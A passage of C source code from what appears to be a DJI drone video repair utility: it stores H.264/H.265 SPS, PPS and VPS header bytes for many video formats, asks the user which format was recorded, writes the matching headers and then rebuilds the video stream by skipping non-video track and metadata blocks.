static unsigned char type5_H265_SPS_1080p50[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x4e, 0x21, 0x40, 0xfe };
#define type5_H264_SPS_1080p48_DJIMini2 type3_H264_SPS_1080p48_DJIMini2 /* same */
static unsigned char type5_H264_SPS_1080p30_MavicAir[] = { 0x67, 0x64, 0x00, 0x29, 0xac, 0x4d, 0x00, 0xf0, 0x04, 0x4f, 0xca, 0x80, 0xfe };
static unsigned char type5_H265_SPS_1080p25[] = { 0x40, 0x01, 0x0c, 0x01, 0xff, 0xff, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xac, 0x0c, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x27, 0x11, 0x40, 0xfe };
static unsigned char type5_H264_SPS_1080p25_MavicAir[] = { 0x67, 0x64, 0x00, 0x32, 0xac, 0x4d, 0x00, 0xf0, 0x04, 0x4f, 0xca, 0x80, 0xfe };
static unsigned char type5_H264_SPS_720p30[] = { 0x67, 0x64, 0x00, 0x1f, 0xac, 0xb4, 0x02, 0x80, 0x2d, 0xd2, 0x90, 0x50, 0x60, 0x50, 0x6d, 0x0a, 0x13, 0x50, 0xfe };
static unsigned char type5_H264_SPS_720p24[] = { 0x67, 0x42, 0x80, 0x1f, 0xda, 0x01, 0x40, 0x16, 0xe9, 0x48, 0x28, 0x30, 0x30, 0x36, 0x85, 0x09, 0xa8, 0xfe };

static unsigned char type5_H265_PPS_3078p24[] = { 0x42, 0x01, 0x01, 0x01, 0x40, 0x00, 0x00, 0x03, 0x00, 0x80, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0xb4, 0xa0, 0x00, 0xab, 0x08, 0x00, 0xc0, 0x9f, 0x5a, 0x2e, 0xec, 0x95, 0x77, 0xa2, 0x5d, 0x58, 0x10, 0x00, 0x00, 0x3e, 0x80, 0x00, 0x05, 0x9d, 0x8c, 0x40, 0xfe };
static unsigned char type5_H265_PPS_2880p60_variant1[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0xd0, 0x7e, 0xd9, 0x6b, 0xbb, 0x72, 0x22, 0xe5, 0x56, 0x26, 0xa0, 0x20, 0x20, 0x20, 0x80, 0x00, 0x00, 0x32, 0x00, 0x00, 0x0b, 0xb5, 0x04, 0xfe };
static unsigned char type5_H265_PPS_2880p60_variant2[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0xd0, 0x7e, 0xd9, 0x6b, 0xbb, 0x72, 0x6b, 0xb1, 0x35, 0x01, 0x01, 0x01, 0x04, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x5d, 0xa8, 0x20, 0xfe };
#define type5_H264_PPS_DJIMini2 type3_H264_PPS_MavicMini /* same */
static unsigned char type5_H264_PPS_MavicAir[] = { 0x68, 0xea, 0x8f, 0x2c, 0xfe };
static unsigned char type5_H265_PPS_2160p120[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7e, 0xd9, 0x6b, 0xbb, 0x72, 0x6b, 0xb1, 0x35, 0x01, 0x01, 0x01, 0x00, 0x80, 0xfe };
static unsigned char type5_H265_PPS_2160p100[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7e, 0xd9, 0x6b, 0xbb, 0x72, 0x6b, 0xb1, 0x35, 0x01, 0x01, 0x01, 0x04, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x9c, 0x40, 0x20, 0xfe };
//static unsigned char type5_H265_PPS_2160p60[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7f, 0x96, 0xbb, 0xb7, 0x26, 0xbb, 0x13, 0x50, 0x10, 0x10, 0x10, 0x08, 0xfe };
static unsigned char type5_H265_PPS_2160p60_variant1[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7e, 0xd9, 0x6f, 0xbb, 0x72, 0x2a, 0xe7, 0xb3, 0xf1, 0xed, 0x4d, 0x40, 0x40, 0x40, 0x41, 0x00, 0x00, 0x03, 0x00, 0x64, 0x00, 0x00, 0x17, 0x6a, 0x08, 0xfe };
static unsigned char type5_H265_PPS_2160p60_variant2[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7f, 0x96, 0xbb, 0xb7, 0x26, 0xbb, 0x13, 0x50, 0x10, 0x10, 0x10, 0x40, 0x00, 0x00, 0x19, 0x00, 0x00, 0x05, 0xda, 0x82, 0xfe };
//static unsigned char type5_H265_PPS_2160p50[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7e, 0xd9, 0x6b, 0xbb, 0x72, 0x6b, 0xb1, 0x35, 0x01, 0x01, 0x01, 0x00, 0x80, 0xfe };
static unsigned char type5_H265_PPS_2160p50[] = { 0x42, 0x01, 0x01, 0x01, 0x60, 0x00, 0x00, 0x03, 0x00, 0x80, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0xb4, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x58, 0xda, 0x59, 0x24, 0x23, 0x66, 0xb9, 0x71, 0x35, 0x01, 0x01, 0x01, 0x04, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x4e, 0x20, 0xfe, 0xfe, 0x2c, 0x4a, 0xfe };
/* Note: Because 0xfe appears in this PPS, we indicate this by repeating it. */
//static unsigned char type5_H265_PPS_2160p30[] = { 0x42, 0x01, 0x01, 0x01, 0x40, 0x00, 0x00, 0x03, 0x00, 0x80, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7f, 0xa2, 0xee, 0xc9, 0x57, 0x7a, 0x25, 0xd5, 0x81, 0x00, 0x00, 0x03, 0x03, 0xe8, 0x00, 0x00, 0x71, 0x48, 0xc4, 0xfe };
static unsigned char type5_H265_PPS_2160p30[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7e, 0xd9, 0x6b, 0xbb, 0x72, 0x6b, 0xb1, 0x35, 0x01, 0x01, 0x01, 0x04, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x2e, 0xd4, 0x20, 0xfe };
//static unsigned char type5_H265_PPS_2160p25[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7e, 0xd9, 0x6b, 0xbb, 0x72, 0x6b, 0xb1, 0x35, 0x01, 0x01, 0x01, 0x04, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x27, 0x10, 0x20, 0xfe };
static unsigned char type5_H265_PPS_2160p25[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7e, 0xd9, 0x6b, 0xbb, 0x72, 0x6b, 0x97, 0x53, 0x50, 0x10, 0x10, 0x10, 0x40, 0x00, 0x00, 0x19, 0x00, 0x00, 0x03, 0x02, 0x71, 0x02, 0xfe };
static unsigned char type5_H265_PPS_2160p24[] = { 0x42, 0x01, 0x01, 0x01, 0x40, 0x00, 0x00, 0x03, 0x00, 0x80, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0xe0, 0x20, 0x02, 0x1c, 0x7f, 0xa2, 0xee, 0xc9, 0x57, 0x7a, 0x25, 0xd5, 0x81, 0x00, 0x00, 0x03, 0x03, 0xe8, 0x00, 0x00, 0x59, 0xd8, 0xc4, 0xfe };
static unsigned char type5_H265_PPS_2016p100[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0x50, 0x20, 0x07, 0xe1, 0xfe, 0xfe, 0x5a, 0xee, 0xdc, 0x9a, 0xec, 0x4d, 0x40, 0x40, 0x40, 0x40, 0x20, 0xfe };
/* Note: Because 0xfe appears in this PPS, we indicate this by repeating it. */
//static unsigned char type5_H265_PPS_2016p60[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0x50, 0x20, 0x07, 0xe1, 0xfe, 0xfe, 0x5a, 0xee, 0xdc, 0x9a, 0xec, 0x4d, 0x40, 0x40, 0x40, 0x40, 0x20, 0xfe };
// /* Note: Because 0xfe appears in this PPS, we indicate this by repeating it. */
static unsigned char type5_H265_PPS_2016p60[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x01, 0x50, 0x20, 0x07, 0xe1, 0xfb, 0x65, 0xae, 0xed, 0xc9, 0xae, 0xc4, 0xd4, 0x04, 0x04, 0x04, 0x02, 0xfe };
static unsigned char type5_H264_PPS_2016p60[] = { 0x68, 0xee, 0x3c, 0xb0, 0xfe };
static unsigned char type5_H264_SPS_1520p60[] = { 0x67, 0x64, 0x00, 0x34, 0xac, 0x4d, 0x00, 0x54, 0x01, 0x7f, 0xf2, 0xcd, 0x40, 0x40, 0x40, 0x50, 0x00, 0x00, 0x06, 0x40, 0x00, 0x02, 0xed, 0x40, 0xf1, 0xc3, 0x2a, 0xfe };
#define type5_H264_PPS_1520p60 type5_H264_PPS_2016p60 /*same*/
//static unsigned char type5_H265_PPS_1080p60[] = { 0x42, 0x01, 0x01, 0x21, 0x60, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x03, 0xc0, 0x80, 0x10, 0xe7, 0xf9, 0x6b, 0xbb, 0x72, 0x6b, 0xb1, 0x35, 0x01, 0x01, 0x01, 0x04, 0x00, 0x00, 0x03, 0x01, 0x90, 0x00, 0x00, 0x5d, 0xa8, 0x20, 0xfe };
//static unsigned char type5_H265_PPS_1080p60[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x02, 0xd0, 0x80, 0x10, 0xe7, 0xed, 0x96, 0xbb, 0xb7, 0x26, 0xbb, 0x13, 0x50, 0x10, 0x10, 0x10, 0x40, 0x00, 0x00, 0x19, 0x00, 0x00, 0x05, 0xda, 0x82, 0xfe };
//static unsigned char type5_H265_PPS_1080p60[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x03, 0xc0, 0x80, 0x10, 0xe7, 0xed, 0x96, 0xbb, 0xb7, 0x22, 0x2e, 0x55, 0x62, 0x6a, 0x02, 0x02, 0x02, 0x08, 0x00, 0x00, 0x03, 0x03, 0x20, 0x00, 0x00, 0xbb, 0x50, 0x40, 0xfe };
static unsigned char type5_H265_PPS_1080p60[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x02, 0xd0, 0x80, 0x10, 0xe7, 0xed, 0x96, 0xbb, 0xb7, 0x22, 0x2e, 0x55, 0x62, 0x6a, 0x02, 0x02, 0x02, 0x08, 0x00, 0x00, 0x03, 0x03, 0x20, 0x00, 0x00, 0xbb, 0x50, 0x40, 0xfe };
static unsigned char type5_H264_SPS_1080p60[] = { 0x67, 0x64, 0x00, 0x34, 0xac, 0x4d, 0x00, 0xf0, 0x04, 0x4f, 0xcb, 0x35, 0x01, 0x01, 0x01, 0x40, 0x00, 0x00, 0x19, 0x00, 0x00, 0x0b, 0xb5, 0x03, 0xc7, 0x0c, 0xa8, 0xfe };
#define type5_H264_PPS_1080p60 type5_H264_PPS_1520p60 /*same*/
static unsigned char type5_H265_PPS_1080p50[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x03, 0xc0, 0x80, 0x10, 0xe7, 0xed, 0x96, 0xbb, 0xb7, 0x26, 0xbb, 0x13, 0x50, 0x10, 0x10, 0x10, 0x40, 0x00, 0x00, 0x19, 0x00, 0x00, 0x04, 0xe2, 0x02, 0xfe };
static unsigned char type5_H265_PPS_1080p25[] = { 0x42, 0x01, 0x01, 0x22, 0x20, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x00, 0x03, 0x00, 0x96, 0xa0, 0x03, 0xc0, 0x80, 0x10, 0xe7, 0xed, 0x96, 0xbb, 0xb7, 0x26, 0xbb, 0x13, 0x50, 0x10, 0x10, 0x10, 0x40, 0x00, 0x00, 0x19, 0x00, 0x00, 0x03, 0x02, 0x71, 0x02, 0xfe };
static unsigned char type5_H264_PPS_720p30[] = { 0x68, 0xee, 0x06, 0xf2, 0xc0, 0xfe };
static unsigned char type5_H264_PPS_720p24[] = { 0x68, 0xce, 0x06, 0xf2, 0xfe };

static unsigned char type5_H265_VPS_default[] = { 0x44, 0x01, 0xc0, 0x73, 0xc2, 0x5e, 0x24, 0xfe };
static unsigned char type5_H265_VPS_3078p24[] = { 0x44, 0x01, 0xc1, 0xad, 0xf0, 0x92, 0x01, 0x54, 0x18, 0x53, 0x64, 0xfe };
static unsigned char type5_H265_VPS_2880p60[] = { 0x44, 0x01, 0xc0, 0x73, 0x12, 0x24, 0x25, 0xe2, 0x40, 0xfe };
static unsigned char type5_H265_VPS_2160p_default[] = { 0x44, 0x01, 0xc1, 0xad, 0xf0, 0x13, 0x64, 0xfe };
static unsigned char type5_H265_VPS_2160p60_variant1[] = { 0x44, 0x01, 0xc1, 0x73, 0x08, 0x84, 0x40, 0x89, 0xfe };
static unsigned char type5_H265_VPS_2160p60_variant2[] = { 0x44, 0x01, 0xc0, 0x73, 0xc2, 0x5e, 0x24, 0xfe };
static unsigned char type5_H265_VPS_2160p50[] = { 0x44, 0x01, 0xc0, 0xe3, 0x4b, 0xc0, 0xc1, 0x45, 0x24, 0xfe };
static unsigned char type5_H265_VPS_2160p30[] = { 0x44, 0x01, 0xc0, 0x73, 0x12, 0x24, 0x25, 0xe2, 0x40, 0xfe };
static unsigned char type5_H265_VPS_2160p25[] = { 0x44, 0x01, 0xc1, 0x73, 0x12, 0x24, 0x08, 0x90, 0xfe };
static unsigned char type5_H265_VPS_1080p60[] = { 0x44, 0x01, 0xc0, 0x73, 0x12, 0x24, 0x08, 0x90, 0xfe };
#define type5_H265_VPS_1080p50 type5_H265_VPS_1080p60 /*same*/
#define type5_H265_VPS_1080p25 type5_H265_VPS_1080p60 /*same*/


static void doRepairType5(FILE* inputFID, FILE* outputFID) {
/* This is identical to 'type 3', except that the possible video formats are assumed
to be those for "DJI Mini 2" drones only.
*/
/* Begin the repair by writing SPS, PPS, and (for H.265) VPS NAL units
(each preceded by a 'start code'):
*/
{
int formatCode;
unsigned char* sps;
unsigned char* pps;
unsigned char* vps = NULL; /* by default, for H.264 */
unsigned char c;

/* The content of the SPS, PPS, and VPS NAL units depends upon which video format was used.
Prompt the user for this now:
*/
while (1) {
fprintf(stderr, "First, however, we need to know which video format was used. Enter this now.\n");
fprintf(stderr, "\tIf the video format was H.265, 3078p, 24fps: Type 0, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2880p, 60fps (variant 1): Type 1, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2880p, 60fps (variant 2): Type 2, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x3840)p(UHD-1), 120fps: Type 3, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x3840)p(UHD-1), 100fps: Type 4, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x3840)p(UHD-1), 60fps (variant 1): Type 5, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x3840)p(UHD-1), 60fps (variant 2): Type 6, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 60fps: Type 7, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x3840)p(UHD-1), 50fps: Type 8, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x3840)p(UHD-1), 30fps: Type 9, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 30fps: Type A, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x3840)p(UHD-1), 25fps: Type B, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 25fps: Type C, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2160(x3840)p(UHD-1), 24fps: Type D, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2160(x3840)p(UHD-1), 24fps: Type E, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2016p, 100fps: Type F, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 2016p, 60fps: Type G, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 2016p, 60fps: Type H, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1520p, 60fps: Type I, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 1080p, 60fps: Type J, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 60fps: Type K, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 1080p, 50fps: Type L, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 48fps: Type M, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 30fps: Type N, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.265, 1080p, 25fps: Type O, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 1080p, 25fps: Type P, then the \"Return\" key.\n");

fprintf(stderr, "\tIf the video format was H.264, 720p, 30fps: Type Q, then the \"Return\" key.\n");
fprintf(stderr, "\tIf the video format was H.264, 720p, 24fps: Type R, then the \"Return\" key.\n");
fprintf(stderr, " If the resulting file is unplayable by VLC or IINA, then you may have guessed the wrong format;\n");
fprintf(stderr, " try again with another format.)\n");
fprintf(stderr, "If you know for sure that your video format was *not* one of the ones listed above, then please read FAQ number 4 at \"https://djifix.live555.com/#faq\", and we'll try to update the software to support your video format.\n");
do {formatCode = getchar(); } while (formatCode == '\r' && formatCode == '\n');
if ((formatCode >= '0' && formatCode <= '9') ||
(formatCode >= 'a' && formatCode <= 'r') ||
(formatCode >= 'A' && formatCode <= 'R')) {
break;
}
fprintf(stderr, "Invalid entry!\n");
}

fprintf(stderr, "%s", startingToRepair);
switch (formatCode) {
case '0': { sps = type5_H265_SPS_3078p24; pps = type5_H265_PPS_3078p24; vps = type5_H265_VPS_3078p24; break; }
case '1': { sps = type5_H265_SPS_2880p60; pps = type5_H265_PPS_2880p60_variant1; vps = type5_H265_VPS_2880p60; break; }
case '2': { sps = type5_H265_SPS_2880p60; pps = type5_H265_PPS_2880p60_variant2; vps = type5_H265_VPS_2880p60; break; }
case '3': { sps = type5_H265_SPS_2160x3840p120; pps = type5_H265_PPS_2160p120; vps = type5_H265_VPS_default; break; }
case '4': { sps = type5_H265_SPS_2160x3840p100; pps = type5_H265_PPS_2160p100; vps = type5_H265_VPS_default; break; }
case '5': { sps = type5_H265_SPS_2160x3840p60_variant1; pps = type5_H265_PPS_2160p60_variant1; vps = type5_H265_VPS_2160p60_variant1; break; }
case '6': { sps = type5_H265_SPS_2160x3840p60_variant2; pps = type5_H265_PPS_2160p60_variant2; vps = type5_H265_VPS_2160p60_variant2; break; }
case '7': { sps = type5_H264_SPS_2160x3840p60; pps = type5_H264_PPS_2160x384p60; break; }
case '8': { sps = type5_H265_SPS_2160x3840p50; pps = type5_H265_PPS_2160p50; vps = type5_H265_VPS_2160p50; break; }
case '9': { sps = type5_H265_SPS_2160x3840p30; pps = type5_H265_PPS_2160p30; vps = type5_H265_VPS_2160p30; break; }
case 'a': case 'A': { sps = type5_H264_SPS_2160x3840p30_DJIMini2; pps = type5_H264_PPS_DJIMini2; break; }
case 'b': case 'B': { sps = type5_H265_SPS_2160p25; pps = type5_H265_PPS_2160p25; vps = type5_H265_VPS_2160p25; break; }
case 'c': case 'C': { sps = type5_H264_SPS_2160x3840p25; pps = type5_H264_PPS_MavicAir; break; }
case 'd': case 'D': { sps = type5_H265_SPS_2160p24; pps = type5_H265_PPS_2160p24; vps = type5_H265_VPS_2160p_default; break; }
case 'e': case 'E': { sps = type5_H264_SPS_2160x3840p24_DJIMini2; pps = type5_H264_PPS_DJIMini2; break; }
case 'f': case 'F': { sps = type5_H265_SPS_2016p100; pps = type5_H265_PPS_2016p100; vps = type5_H265_VPS_default; break; }
case 'g': case 'G': { sps = type5_H265_SPS_2016p60; pps = type5_H265_PPS_2016p60; vps = type5_H265_VPS_default; break; }
case 'h': case 'H': { sps = type5_H264_SPS_2016p60; pps = type5_H264_PPS_2016p60; break; }
case 'i': case 'I': { sps = type5_H264_SPS_1520p60; pps = type5_H264_PPS_1520p60; break; }
case 'j': case 'J': { sps = type5_H265_SPS_1080p60; pps = type5_H265_PPS_1080p60; vps = type5_H265_VPS_1080p60; break; }
case 'k': case 'K': { sps = type5_H264_SPS_1080p60; pps = type5_H264_PPS_1080p60; break; }
case 'l': case 'L': { sps = type5_H265_SPS_1080p50; pps = type5_H265_PPS_1080p50; vps = type5_H265_VPS_1080p50; break; }
case 'm': case 'M': { sps = type5_H264_SPS_1080p48_DJIMini2; pps = type5_H264_PPS_DJIMini2; break; }
case 'n': case 'N': { sps = type5_H264_SPS_1080p30_MavicAir; pps = type5_H264_PPS_MavicAir; break; }
case 'o': case 'O': { sps = type5_H265_SPS_1080p25; pps = type5_H265_PPS_1080p25; vps = type5_H265_VPS_1080p25; break; }
case 'p': case 'P': { sps = type5_H264_SPS_1080p25_MavicAir; pps = type5_H264_PPS_MavicAir; break; }
case 'q': case 'Q': { sps = type5_H264_SPS_720p30; pps = type5_H264_PPS_720p30; break; }
case 'r': case 'R': { sps = type5_H264_SPS_720p24; pps = type5_H264_PPS_720p24; break; }
default: { sps = type5_H264_SPS_2160x3840p30_DJIMini2; pps = type5_H264_PPS_DJIMini2; break; } /* shouldn't happen */
};

/*SPS*/
putStartCode(outputFID);
while ((c = *sps++) != 0xfe) wr(c);

/*PPS*/
putStartCode(outputFID);
while ((c = *pps++) != 0xfe) wr(c);
if (*pps++ == 0xfe) wr(c); /* Hack because 0xfe appears in one of the PPSs */
while ((c = *pps++) != 0xfe) wr(c); /* ditto */

/*VPS*/
if (vps != NULL) {
putStartCode(outputFID);
while ((c = *vps++) != 0xfe) wr(c);
}
}

doRepairType3or5Common(inputFID, outputFID);
}

static int metadataIsPrintable = 1;

static void doRepairType3or5Common(FILE* inputFID, FILE* outputFID) {
/* Repeatedly:
1/ Read a 4-byte NAL unit size.
2/ Write a 'start code'.
3/ Read 'NAL unit size' bytes, and write them to the output file.
*/
{
unsigned nalSize, next4Bytes;

while (!feof(inputFID)) {
if (!get4Bytes(inputFID, &nalSize)) return;
if (!get4Bytes(inputFID, &next4Bytes)) return;
fseek(inputFID, -4, SEEK_CUR); // seek back over "next4Bytes"
// fprintf(stderr, "#####@@@@@B @0x%08lx: nalSize 0x%08x, next4Bytes 0x%08x\n", ftell(inputFID)-4, nalSize, next4Bytes);

if ((nalSize&0xFFFF0000) == 0x01FE0000) {
/* This 4-byte 'NAL size' is really the start of a 0x200-byte block of 'track 2' data.
Skip over it:
*/
if (fseek(inputFID, 0x200-4, SEEK_CUR) != 0) break;
continue;
} else if ((nalSize&0xFF800000) == 0x12800000) {
/* This 4-byte 'NAL size' is really the start of a block of 'track 3 or 4' data.
Skip over it:
*/
unsigned assumedBlockSize = ((nalSize>>16) - 0x12a5) + 0x46A9;
if ((nalSize&0x000000FF) == 0x0000000A && (nalSize&0x0000FF00) >= 0x00002500) { /* special case */
assumedBlockSize = (nalSize>>16) + (((nalSize&0x0000FF00) - 0x00002500)>>1) + 3;
}
// fprintf(stderr, "\t#####@@@@@1 assumedBlockSize: %x\n", assumedBlockSize);
if (fseek(inputFID, assumedBlockSize-4, SEEK_CUR) != 0) break;
continue;
} else if ((nalSize&0xFFFF0000) == 0x211C0000 ||
(nalSize&0xFFFF0000) == 0x2ECF0000 ||
(nalSize&0xFFFF0000) == 0x38110000 ||
(nalSize&0xFFFF0000) == 0x5D9C0000 ||
(nalSize&0xFFFF0000) == 0x5DBB0000 ||
(nalSize&0xFFFF0000) == 0x80210000) {
/* This 4-byte 'NAL size' is really the start of a 0x1F9-byte block of 'track 2' data.
Skip over it:
*/
if (fseek(inputFID, 0x1F9-4, SEEK_CUR) != 0) break;
continue;
} else if (nalSize == 0x05c64e6f ||
( ((nalSize&0xFFFF0000) == 0x00f80000) && (next4Bytes == 0x20303020) )) {
/* This 4-byte 'NAL size' is really the start of a block from a 'metadata' track.
Skip over it:
*/
unsigned remainingMetadataSize;
if (nalSize == 0x05c64e6f) {
/* In this case, there is no initial binary stuff */
remainingMetadataSize = 0x05c6;
if (fseek(inputFID, -2, SEEK_CUR) != 0) break; /* back up to the printable metadata */
} else {
if (fseek(inputFID, 0xF6, SEEK_CUR) != 0) break; /* skip over initial binary stuff */

/* The next two bytes might be a length count for the rest of the metadata: */
if (!get2Bytes(inputFID, &remainingMetadataSize)) return;
}

// Check whether the first 4 bytes of this 'remaining data' really is printable ASCII.
// If it's not, then the 'two-byte count' was really the start of the next "nalSize":
if (remainingMetadataSize >= 4 && metadataIsPrintable) {
if (!get4Bytes(inputFID, &next4Bytes)) return;
fseek(inputFID, -4, SEEK_CUR); // seek back over "next4Bytes"

if (((next4Bytes>>24)&0xFF) < 0x20 || ((next4Bytes>>24)&0xFF) > 0x7E ||
((next4Bytes>>16)&0xFF) < 0x20 || ((next4Bytes>>16)&0xFF) > 0x7E ||
((next4Bytes>>8)&0xFF) < 0x20 || ((next4Bytes>>8)&0xFF) > 0x7E ||
(next4Bytes&0xFF) < 0x20 || (next4Bytes&0xFF) > 0x7E) {
// Some of these are non-printable => assume that it's not printable ASCII:
remainingMetadataSize = 0;
}
} else {
remainingMetadataSize = 0;
}

if (remainingMetadataSize > 0) {
/* Assume that printable metadata continues */
if (++printableMetadataCount == 1) {
/* For the first occurrence of this metadata, print it out: */
unsigned long savePos = ftell(inputFID);
unsigned char c;

fprintf(stderr, "\nSaw initial metadata block:");
do {
c = fgetc(inputFID);
fprintf(stderr, "%c", c);
} while (c != '\n' && c != 0x00);
fseek(inputFID, savePos, SEEK_SET); /* restore our old position */
}
if (fseek(inputFID, remainingMetadataSize, SEEK_CUR) != 0) break;
} else {
